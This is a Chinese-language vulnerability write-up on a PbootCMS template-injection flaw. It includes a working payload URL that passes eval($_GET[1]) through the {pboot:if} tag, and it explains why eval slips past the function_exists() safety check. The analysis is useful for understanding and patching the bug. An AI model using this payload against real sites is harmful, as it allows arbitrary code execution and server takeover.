前台命令执行
payload
1 | http://www.pbootcms.com:82/index.php/index/index?s={pboot:if(eval($_GET[1]));//)})}}{/pboot:if}&1=phpinfo(); |
漏洞复现
漏洞分析
漏洞成因是在
ParserController.php
的eval()
中parserIfLabel()
中调用了eval()
。parserAfter()
调用了parserfLabel()
。跟进
parserAfter()
。根据注释和代码可以分析出这是这个模板在前端渲染解析公共后置标签。这里存在eval()函数调用。只要存在把用户输入输出到前端的地方,就会有代码执行漏洞。调用parserAfter()
有Index,About,Content,List,Search
以
Index
为例。可以看到控制前端输出,说明存在漏洞- 现在分析下payload。因为在执行
eval()
之前,进行了正则验证$pattern = '/{pboot:if(([^}]+))}([\s\S]*?){\/pboot:if}/';
这个正则把标签 if 后面的内容取了出来,然后经过过滤并执行。 - 帮助手册中的
{pboot:if}
用法 使用
eval
就可以绕过function_exists()
会返回false,这样$danger
就不会为true
。1
2
3
4function_exists ( string $function_name ) : bool
如果`function_name`存在且的确是一个函数就返回 TRUE ,反之则返回 FALSE 。
eval()
是一个语言构造器而不是一个函数,不能被可变函数(is_callable(),call_user_func(),function_exists())调用。所以直接用eval()可以绕过
$danger
1
http://www.pbootcms.com:82/index.php/index/index?s={pboot:if(eval($_GET[1]));//)})}}{/pboot:if}&1=phpinfo();